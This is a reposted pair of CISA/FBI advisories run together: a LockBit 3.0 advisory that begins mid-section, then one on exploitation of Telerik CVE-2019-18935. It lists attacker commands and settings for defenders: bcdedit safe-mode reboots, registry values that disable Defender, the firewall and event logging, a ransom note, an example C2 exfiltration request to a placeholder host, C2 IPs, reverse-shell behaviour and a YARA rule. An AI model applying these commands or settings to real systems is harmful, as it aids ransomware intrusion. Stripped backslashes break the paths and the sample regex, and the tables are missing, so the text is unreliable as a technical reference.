LockBit affiliates have been observed using various freeware and open-source tools during their intrusions. These tools are used for a range of activities such as network reconnaissance, remote access and tunneling, credential dumping, and file exfiltration. Use of PowerShell and Batch scripts
are observed across most intrusions, which focus on system discovery, reconnaissance, password/credential hunting, and privilege escalation. Artifacts of professional penetration-testing tools such as Metasploit and Cobalt Strike have also been observed. See Table 2 for a list of legitimate freeware and open-source tools LockBit affiliates have repurposed for ransomware operations:

Indicators of Compromise (IOCs)

The IOCs and malware characteristics outlined below were derived from field analysis. The following samples are current as of March 2023.

LockBit 3.0 Black Icon

LockBit 3.0 Wallpaper

LockBit Command Line Parameters

-del

-gdel

-gspd

-pass (32 character value)

-path (File or path)

-psex

-safe

-wall

Mutual Exclusion Object (Mutex) Created

When executed, LockBit 3.0 will create the mutex, Global<MD4 hash of machine GUID>,
and check to see if this mutex has already been created to avoid running more than one instance of the ransomware.

UAC Bypass via Elevated COM Interface

LockBit 3.0 is capable of bypassing User Account Control (UAC) to execute code with elevated privileges via elevated Component Object Model (COM) Interface. C:WindowsSystem32dllhost.exe is spawned with high integrity with the command line GUID 3E5FC7F9-9A51-4367-9063-A120244FBEC.

For example, %SYSTEM32%dllhost.exe/Processid:{3E5FC7F9-9A51-4367-9063- A120244FBEC7}.

Volume Shadow Copy Deletion

LockBit 3.0 uses Windows Management Instrumentation (WMI) to identify and delete Volume Shadow Copies. LockBit 3.0 uses select * from Win32_ShadowCopy to query for Volume Shadow copies, Win32_ShadowCopy.ID to obtain the ID of the shadow copy, and DeleteInstance to delete any shadow copies.

Registry Artifacts

LockBit 3.0 Icon

HKCR. <Malware Extension>

(Default)

<Malware Extension>

HKCR<Malware
Extension>DefaultIcon

(Default)

C:ProgramData<Mal
ware Extension>.ico

LockBit 3.0 Wallpaper

HKCUControl PanelDesktopWallPaper

(Default)

C:ProgramData<Mal ware Extension>.bmp

Disable Privacy Settings Experience

SOFTWAREPoliciesMicrosoftWin
dowsOOBE

DisablePrivacyE
xperience

Enable Automatic Logon

SOFTWAREMicrosoftWindows
NTCurrentVersionWinlogon

AutoAdminLogon

1

DefaultUserName

<username>

DefaultDomainNa
me

<domain name>

DefaultPassword

<password>

Disable and Clear Windows Event Logs

HKLMSOFTWAREMicrosoftWindows
CurrentVersionWINEVTChannels
*

Enabled

0

HKLMSOFTWAREMicrosoftWindows
CurrentVersionWINEVTChannels
* ChannelAccess

ChannelAccess

AO:BAG:SYD:(A;;0x1;;
;SY)(A;;0x5;;;BA)(A;
;0x1;;;LA)

Ransom Locations

ADMIN$Temp<LockBit3.0 Filename>.exe

%SystemRoot%Temp<LockBit3.0 Filename>.exe

<Domain Name>sysvol<Domain Name>scripts<Lockbit 3.0
Filename>.exe (Domain Controller)

Safe Mode Launch Commands

LockBit 3.0 has a Safe Mode feature to circumvent endpoint antivirus and detection. Depending upon the host operating system, the following command is launched to reboot the system to Safe Mode with Networking:

bcdedit /set {current} safeboot network

bootcfg /raw /a /safeboot:network /id 1

bcdedit /deletevalue {current} safeboot

bootcfg /raw /fastdetect /id 1

Group Policy Artifacts

The following are Group Policy Extensible Markup Language (XML) files identified after a LockBit 3.0 infection:

Services.xml stops and disables services on the Active Directory (AD) hosts.

Registry.pol

The following registry configuration changes values for the Group Policy refresh time, disable SmartScreen, and disable Windows Defender.

HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem

GroupPolicyRefresh
TimeDC

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem

GroupPolicyRefresh
TimeOffsetDC

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem

GroupPolicyRefresh
Time

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem

GroupPolicyRefresh
TimeOffset

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem

EnableSmartScreen

REG_D
WORD

0

HKLMSOFTWAREPoliciesMicrosoftWindow
sSystem

**del.ShellSmartSc
reenLevel

REG_S
Z

HKLMSOFTWAREPoliciesMicrosoftWindow
s Defender

DisableAntiSpyware

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
s Defender

DisableRoutinelyTa
kingAction

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderReal-Time Protection

DisableRealtimeMon
itoring

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderReal-Time Protection

DisableBehaviorMon
itoring

REG_D
WORD

1

HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderSpynet

SubmitSamplesConse
nt

REG_D
WORD

2

HKLMSOFTWAREPoliciesMicrosoftWindow
s DefenderSpynet

SpynetReporting

REG_D
WORD

0

HKLMSOFTWAREPoliciesMicrosoftWindow
sFirewallDomainProfile

EnableFirewall

REG_D
WORD

0

HKLMSOFTWAREPoliciesMicrosoftWindow
sFirewallStandardProfile

EnableFirewall

REG_D
WORD

0

Force GPUpdate

Once new group policies are added, a PowerShell command using Group Policy update (GPUpdate) applies the new group policy changes to all computers on the AD domain.

Services Killed

Processes Killed

LockBit 3.0 Ransom Note

~~~ LockBit 3.0 the world’s fastest and most stable ransomware from 2019~~~
>>>>> Your data is stolen and encrypted.
If you don’t pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don’t hesitate for a long time. The sooner you pay the ransom, the sooner your company will be safe.

Network Connections

If configured, Lockbit 3.0 will send two HTTP POST requests to one of the C2servers. Information about the victim host and bot are encrypted with an Advanced Encryption Standard (AES) key and encoded in Base64.

Example of HTTP POST request
POST <Lockbit C2>/?7F6Da=u5a0TdP0&Aojq=&NtN1W=OuoaovMvrVJSmPNaA5&fckp9=FCYyT6b7kdyeEXywS8I8 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br Content-Type: text/plain
User-Agent: Safari/537.36 <Lockbit User Agent String>
Host: <Lockbit C2>
Connection: Keep-Alive LIWy=RJ51lB5GM&a4OuN=<Lockbit
ID>&LoSyE3=8SZ1hdlhzld4&DHnd99T=rTx9xGlInO6X0zWW&2D6=Bokz&T1guL=MtRZsFCRMKyBmfmqI& 6SF3g=JPDt9lfJIQ&wQadZP=<Base64 encrypted data> Xni=AboZOXwUw&2rQnM4=94L&0b=ZfKv7c&NO1d=M2kJlyus&AgbDTb=xwSpba&8sr=EndL4n0HVZjxPR& m4ZhTTH=sBVnPY&xZDiygN=cU1pAwKEztU&=5q55aFIAfTVQWTEm&4sXwVWcyhy=l68FrIdBESIvfCkvYl
Example of information found in encrypted data
{ "bot_version":"X", "bot_id":"X", "bot_company":"X", "host_hostname":"X", "host_user":"X", "host_os":"X", "host_domain":"X", "host_arch":"X", "host_lang":"X", "disks_info":[
{ "disk_name":"X", "disk_size":"XXXX", "free_size":"XXXXX"
}

User Agent Strings

MITRE ATT&CK TECHNIQUES

See Table 3 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide.

MITIGATIONS

The FBI, CISA, and the MS-ISAC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of LockBit 3.0’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers [CPG 7.3] in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud).
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies [CPG 3.4].
  • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [CPG 1.4]
  • Store passwords in hashed format using industry-recognized password managers
  • Add password user “salts” to shared login credentials
  • Avoid reusing passwords
  • Implement multiple failed login attempt account lockouts [CPG 1.1]
  • Disable password “hints”
  • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software
• Require phishing-resistant multifactor authentication [CPG 1.3] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats.
• Segment networks [CPG 8.1] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement.
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [CPG 5.1]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 1.5].
• Disable unused ports.
• Consider adding an email banner to emails [CPG 8.3] received from outside your organization.
• Disable hyperlinks in received emails.
• Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.
• Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.
• Maintain offline backups of data, and regularly maintain backup and restoration [CPG 7.3]. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.
• Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 3.3].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the FBI, CISA, and the MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The FBI, CISA, and the MS-ISAC authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

1. Select an ATT&CK technique described in this advisory (see Table 3).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and the MS-ISAC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.

REPORTING

The FBI is seeking any information that can be legally shared, including:

• Boundary logs showing communication to and from foreign IP addresses
• Sample ransom note
• Communications with LockBit 3.0 actors
• Bitcoin wallet information
• Decryptor files
• Benign sample of an encrypted file

The FBI, CISA, and MS-ISAC do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at report@cisa.gov. State, local, tribal, and territorial (SLTT) government entities can also report to the MS-ISAC (SOC@cisecurity.org or 866-787-4722).

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC.

Source de l’article sur us-cert.gov

SUMMARY

From November 2022 through early January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) and authoring organizations identified the presence of indicators of compromise (IOCs) at a federal civilian executive branch (FCEB) agency. Analysts determined that multiple cyber threat actors, including an APT actor, were able to exploit a .NET deserialization vulnerability (CVE-2019-18935) in Progress Telerik user interface (UI) for ASP.NET AJAX, located in the agency’s Microsoft Internet Information Services (IIS) web server. Successful exploitation of this vulnerability allows for remote code execution. According to Progress Software, Telerik UI for ASP.NET AJAX builds before R1 2020 (2020.1.114) are vulnerable to this exploit.[1]

Actions to take today to mitigate malicious cyber activity:

• Implement a patch management solution to ensure compliance with the latest security patches.
• Validate output from patch management and vulnerability scanning against running services to check for discrepancies and account for all services.
• Limit service accounts to the minimum permissions necessary to run services.

CISA, the Federal Bureau of Investigation (FBI), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) to provide IT infrastructure defenders with tactics, techniques, and procedures (TTPs), IOCs, and methods to detect and protect against similar exploitation.

Download the PDF version of this report:

For a downloadable copy of IOCs, see

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding detection and mitigation recommendations.

Overview

CISA and authoring organizations assess that, beginning as late as November 2022, threat actors successfully exploited a .NET deserialization vulnerability (CVE-2019-18935) in an instance of Telerik UI for ASP.NET AJAX Q2 2013 SP1 (version 2013.2.717) running on an FCEB agency’s Microsoft IIS server. This exploit, which results in interactive access with the web server, enabled the threat actors to successfully execute remote code on the vulnerable web server. Though the agency’s vulnerability scanner had the appropriate plugin for CVE-2019-18935, it failed to detect the vulnerability due to the Telerik UI software being installed in a file path it does not typically scan. This may be the case for many software installations, as file paths widely vary depending on the organization and installation method.

In addition to CVE-2019-18935, this version (2013.2.717) of Telerik UI for ASP.NET AJAX contains the following known vulnerabilities: CVE-2017-11357, CVE-2017-11317, and CVE-2017-9248. Analysis suggests that cyber threat actors exploited CVE-2019-18935 in conjunction with either CVE-2017-11357 or CVE-2017-11317. Australian Cyber Security Centre (ACSC) Advisory 2020-004 assesses that exploitation of CVE-2019-18935 is only possible with knowledge of Telerik RadAsyncUpload encryption keys.[2] Threat actors can obtain these keys through either prior knowledge or exploitation of vulnerabilities—CVE-2017-11357 or CVE-2017-11317—present in older, unpatched versions of Telerik released between 2007 and 2017. Forensic evidence is not available to definitively confirm exploitation of either CVE-2017-11357 or CVE-2017-11317.

Threat Actor Activity

CISA and authoring organizations observed multiple cyber threat actors, including an APT actor—hereafter referred to as Threat Actor 1 (TA1)—and known cybercriminal actor XE Group—hereafter referred to as Threat Actor 2 (TA2)—conducting reconnaissance and scanning activities [T1595.002] that correlate to the successful exploitation of CVE-2019-18935 in the agency’s IIS server running Telerik UI for ASP.NET AJAX [T1190].

When exploiting the vulnerability, the threat actors uploaded malicious dynamic-link library (DLL) files (some masqueraded as portable network graphics [PNG] files) [T1105] to the C:WindowsTemp directory. The malicious files were then executed from the C:WindowsTemp directory via the w3wp.exe process—a legitimate process that runs on IIS servers. This process is routine for handling requests sent to web servers and delivering content. The review of antivirus logs identified that some DLL files were created [T1055.001] and detected as early as August 2021.

CISA and authoring organizations confirmed that some malicious files dropped on the IIS server are consistent with a previously reported file naming convention that threat actors commonly use when exploiting CVE-2019-18935.[3] The threat actors name the files in the Unix Epoch time format and use the date and time as recorded on the target system. The file naming convention follows the pattern [10 digits].[7 digits].dll (e.g., a file created on October 31, 2022, could be 1667203023.5321205.dll).

The names of some of the PNG files were misleading. For example, file 1596835329.5015914.png, which decodes to August 7, 2020, 21:22:09 UTC, first appeared on October 13, 2022, but the file system shows a creation date of August 7, 2020. The uncorrelated Unix Epoch time format may indicate that the threat actors used the timestomping [T1070.006] technique. This file naming convention is a primary IOC used by the threat actors.

In many cases, malicious artifacts were not available for analysis because the threat actors’ malware—that looks for and removes files with the .dll file extension—removed files [T1070.004] from the C:WindowsTemp directory. Through full packet data capture analysis and reverse engineering of malicious DLL files, no indications of additional malicious activity or sub-processes were found executed by the w3wp.exe process. CISA observed error messages being sent to the threat actors’ command and control (C2) server when permission restraints prevented the service account from executing the malicious DLLs and writing new files.

Network activity analysis was consistent with the artifacts provided for review. Analysts did not observe evidence of privilege escalation or lateral movement.

Threat Actor 1

CISA and authoring organizations observed TA1 exploiting CVE-2019-18935 for system enumeration beginning in August 2022. The vulnerability allows a threat actor to upload malicious DLLs on a target system and execute them by abusing a legitimate process, e.g., the w3wp.exe process. In this instance, TA1 was able to upload malicious DLL files to the C:WindowsTemp directory and then achieve remote code execution, executing the DLL files via the w3wp.exe process.

At least nine DLL files used for discovery [TA0007], C2 [TA0011], and defense evasion [TA0005]. All of the analyzed samples have network parameters, including host name, domain name, Domain Name System (DNS) server Internet Protocol (IP) address and machine name, Network Basic Input/Output System (NetBIOS) ID, adapter information, IP address, subnet, gateway IP, and Dynamic Host Configuration Protocol (DHCP) server [T1016]. All analyzed samples communicate this collected data to a C2 server at IP address 137.184.130[.]162 or 45.77.212[.]12. The C2 traffic to these IP addresses uses a non-application layer protocol [T1095] by leveraging Transmission Control Protocol (TCP) clear text (i.e., unencrypted) over port 443. Analysis also identified that:

• Some of the analyzed samples can load additional libraries; enumerate the system, processes, files, directories [T1083]; and write files.
• Other analyzed samples can delete DLL files ending with the .dll extension in the C:WindowsTemp directory on the server. TA1 may use this capability to hide additional malicious activity on the network.

CISA, in coordination with the authoring organizations, identified and observed the following threat actor IPs and timestamps associated with this activity:

Threat Actor 2

TA2—identified as likely the cybercriminal actor XE Group—often includes xe[word] nomenclature in original filenames and registered domains. Volexity lists this naming convention and other observed TTPs as common for this threat actor group.[4]

As early as August 2021, CISA and authoring organizations observed TA2 delivering malicious PNG files that, following analysis, were masqueraded DLL files to avoid detection [T1036.005]. Similar to TA1, TA2 exploited CVE-2019-18935 and was able to upload at least three unique DLL files into the C:WindowsTemp directory that TA2 executed via the w3wp.exe process. These DLL files drop and execute reverse (remote) shell utilities for unencrypted communication with C2 IP addresses associated with the malicious domains listed in Table 2. Note: At the time of analysis, the domains resolved to the listed IP addresses.

Analysis of DLL files determined the files listed in Table 3 were dropped, decoded, and attempted to connect to the respective malicious domains. Embedded payloads dropped by the DLL files were observed using the command line utility certutil[.]exe and writing new files as xesvrs[.]exe to invoke reverse shell utilities execution.

 When the TA2 malware is executed a DLL file drops an executable (XEReverseShell.exe) that attempts to pull a C2 IP address and port number from xework[.]com or xegroups[.]com.

• If no port or IP address is found, the program will exit.
• If a port and IP address are found, the program will establish a listener and wait for further commands.

If communication is established between the TA2 malware and the C2:

• The malware will identify the operating system (Windows or Linux) and create the appropriate shell (cmd or bash), sending system information back to the C2.
• The C2 server may send the command xesetshell, causing the malware to connect to the server and download a file called small.txt—a base64-encoded webshell that the malware decodes and places in the C:WindowsTemp directory.
• The C2 server may send the command xequit, causing the malware to sleep for a period of time determined by the threat actors.

The two files xesmartshell.tmp and SortVistaCompat have the capability to drop an Active Server Pages (ASPX) webshell—a base64 encoded text file small.txt decoded [T1140] as small.aspx [T1505.003]—to enumerate drives; to send, receive, and delete files; and to execute incoming commands. The webshell contains an interface for easily browsing files, directories, or drives on the system, and allows the user to upload or download files to any directory. No webshells were observed to be dropped on the target system, likely due to the abused service account having restrictive write permissions.

For more information on the DLLs, binaries, and webshell, see CISA MAR-10413062-1.v1 Telerik Vulnerability in U.S. Government IIS Server.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 4 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide.

DETECTION METHODS

CISA and authoring organizations recommend that organizations review the steps listed in this section and Table 4: Identified ATT&CK Techniques for Enterprise to detect similar activity on IIS servers.

Yara Rule

CISA developed the following YARA rule from the base proof-of-concept code for CVE-2019-18935.[5] Note: Authoring organizations do not guarantee all malicious DLL files (if identified) will use the same code provided in this YARA rule.

rule CISA_10424018_01 {
meta:
        Author = "CISA Code & Media Analysis"
        Incident = "10424018"
        Date = "2023-02-07"
        Last_Modified = "20230216_1500"
        Actor = "n/a"
        Family = "n/a"
        Capabilities = "n/a"
        Malware_Type = "n/a"
        Tool_Type = "n/a"
        Description = "Detects open-source exploit samples"
        SHA256 = "n/a"
    strings:
        $s0 = { 3D 20 7B 20 22 63 6D 22 2C 20 22 64 2E 65 22 2C }
        $s1 = { 20 22 78 22 2C 20 22 65 22 20 7D 3B }
        $s2 = { 52 65 76 65 72 73 65 53 68 65 6C 6C 28 29 }
        $s3 = { 54 65 6C 65 72 69 6B 20 55 49 }
        $s4 = { 66 69 6C 65 6E 61 6D 65 5F 6C 6F 63 61 6C }
        $s5 = { 66 69 6C 65 6E 61 6D 65 5F 72 65 6D 6F 74 65 }
        $s6 = { 41 55 43 69 70 68 65 72 2E 65 6E 63 72 79 70 74 }
        $s7 = { 31 32 31 66 61 65 37 38 31 36 35 62 61 33 64 34 }
$s8 = { 43 6F 6E 6E 65 63 74 53 74 61 67 69 6E 67 53 65 72 76 65 72 28 29 }
        $s9 = { 53 74 61 67 69 6E 67 53 65 72 76 65 72 53 6F 63 6B 65 74 }
        $s10 = { 2A 62 75 66 66 65 72 20 3D 20 28 75 6E 73 69 67 6E 65 }
$s11 = { 28 2A 29 28 29 29 62 75 66 66 65 72 3B 0A 20 20 20 20 66 75 6E 63 28 29 3B }
$s12 = { 75 70 6C 6F 61 64 28 70 61 79 6C 6F 61 64 28 54 65 6D 70 54 61 72 67 65 74 }
        $s13 = { 36 32 36 31 36 66 33 37 37 35 36 66 32 66 }
    condition:
($s0 and $s1 and $s2) or ($s3 and $s4 and $s5 and $s6 and $s7) or ($s8 and $s9 and $s10 and $s11) or ($s12 and $s13)
}

Log Collection, Retention, and Analysis

CISA, FBI, and MS-ISAC recommend that organizations utilize a centralized log collection and monitoring capability, as well as implement or increase logging and forensic data retention. Longer retention policies improve the availability of data for forensic analysis and aid thorough identification of incident scope.

• Centralized log collection and monitoring allows for the discovery of webshell and other exploit activity. For example, organizations should monitor for external connections made from the IIS server to unknown external IP addresses. Logging may also be available—if enabled at the router or firewall—for any outbound connections initiated with PowerShell.
• Access- and security-focused firewall (e.g., Web Application Firewall [WAF]) logs can be collected and stored for use in both detection and forensic analysis activities. Organizations should use a WAF to guard against publicly known web application vulnerabilities, in addition to guarding against common web application attacks.

Creation of Malicious DLLs

CISA, FBI, and MS-ISAC recommend that organizations use process monitoring—which provides visibility into file system and application process activity—to detect suspicious executable files running from the C:WindowsTemp directory. Process monitoring via Windows Event Code 4688 will detect the legitimate w3wp.exe process running suspicious DLL files and other anomalous child processes. Note: Enabling this event may inundate security event logging. Use centralized log collection to prevent log rollover, increase log retention and archiving, and/or enable command line event logging.

Forensic analysis commonly identified the threat actors taking the following steps:

1. Create one of the DLL files (C:WindowsTemp1665890187.8690152.dll) by process w3wp.exe PID 6484.
2. Load the newly created DLL into a currently running IIS process, w3wp.exe PID 6484. 
3. Make a TCP connection using w3wp.exe PID 6484 to 45.77.212[.]12 over port 443.
4. Invoke C:WindowsSystem32vcruntime140.dll (Windows C runtime library) to execute payload.

Steps 1 and 2 occur every time a malicious DLL file is created. In some cases, an ASP .NET temp file was created, but this may have indicated benign IIS server activity. Note: The Process ID (PID) used in this example is unique to this investigation and is not universal. IP address 45.77.212[.]12 correlates to TA1, but the pattern can be used as general practice to identify similar activity.

Additional Searching for IIS Servers

The following information was derived from artifact analysis and is provided to equip IT infrastructure defenders searching for similar activity on an IIS server. Several artifacts can be referenced to assist in determining if CVE-2019-18935 has been successfully exploited.

File Type: DLL

Location: – %SystemDrive%WindowsTemp

When this CVE is exploited, it uploads malicious DLL files to the C:WindowsTemp directory. The malicious DLL file naming convention translates to the exact time the file was uploaded to the server.

The time is represented in a series of digits, known as Unix Epoch time. The files observed during this investigation contained two sets of digits separated by a period (.) before the DLL extension (.dll). Example: 1667206973.2270932.dll

Nearly all recovered files contain a series of 10 digits to the left of the period (.) and seven digits to the right. However, one file contained only five digits in the second set, which should be taken into consideration when writing regex patterns to search for the existence of these files. Example Regex: d{10}.d{1,8}.dll

These numbers can be copied and translated from digits into readable language with the month, day, year, hour, minute, and seconds displayed.

Log Type: IIS

Location: – %SystemDrive%inetpublogsLogFiles

When investigating IIS logs, specific fields were searched for and captured during the time of each connection.

If the Unix Epoch time signature has been translated from a DLL filename, specific logs can be searched based on that time. However, if the Unix Epoch time signature has not been translated, the following will still work, but may take longer for the query to run.

The four most important fields to identify this traffic are noted in the following table. These descriptions are sourced directly from Microsoft.[6]

Note: Depending on how logs are collected and stored, the field names may not be an exact match; this should be taken into consideration when constructing queries.

When ingesting logs into security information and event management (SIEM), the final field names did not use a hyphen (-) but used an underscore (_).

Example: cs_method instead of cs-method

Artifacts:

When reviewing logs, two IIS events were observed with the same timestamp each time this CVE-2019-18935 was exploited. Both events contained the same information in the cs-method, cs-uri-stem, and cs-uri-query. One event had a sc-status of 200 and the other had a sc-status of 302.

Log Type: Windows Event Application Logs

Location: -%SystemDrive%WindowsSystem32winevtlogsApplication.evtx

Kroll Artifact Parser and Extractor (KAPE), a forensic artifact collector and parser, was used to extract the Windows event logs from a backup image of the compromised IIS server. All field names refer to the labels provided via KAPE exports. The strings are of value and can be used to locate other artifacts if different tools are used. Note: The payload data in the following table has been shortened to only necessary strings to obscure and protect victim information.

Authoring organizations recommend looking for the following key strings in the payload:

• w3wp.exe: This is the parent process that executes the code inside the malicious DLLs.
• System.Configuration.Install.AssemblyInstaller: Figure 1 is from the creator’s GitHub repo,[7] where the string can be observed in the code. As presented by Bishop Fox and proven during authoring organizations’ investigation of IIS server logs, an exception does not mean that the exploit failed, but more likely that it executed successfully.[3]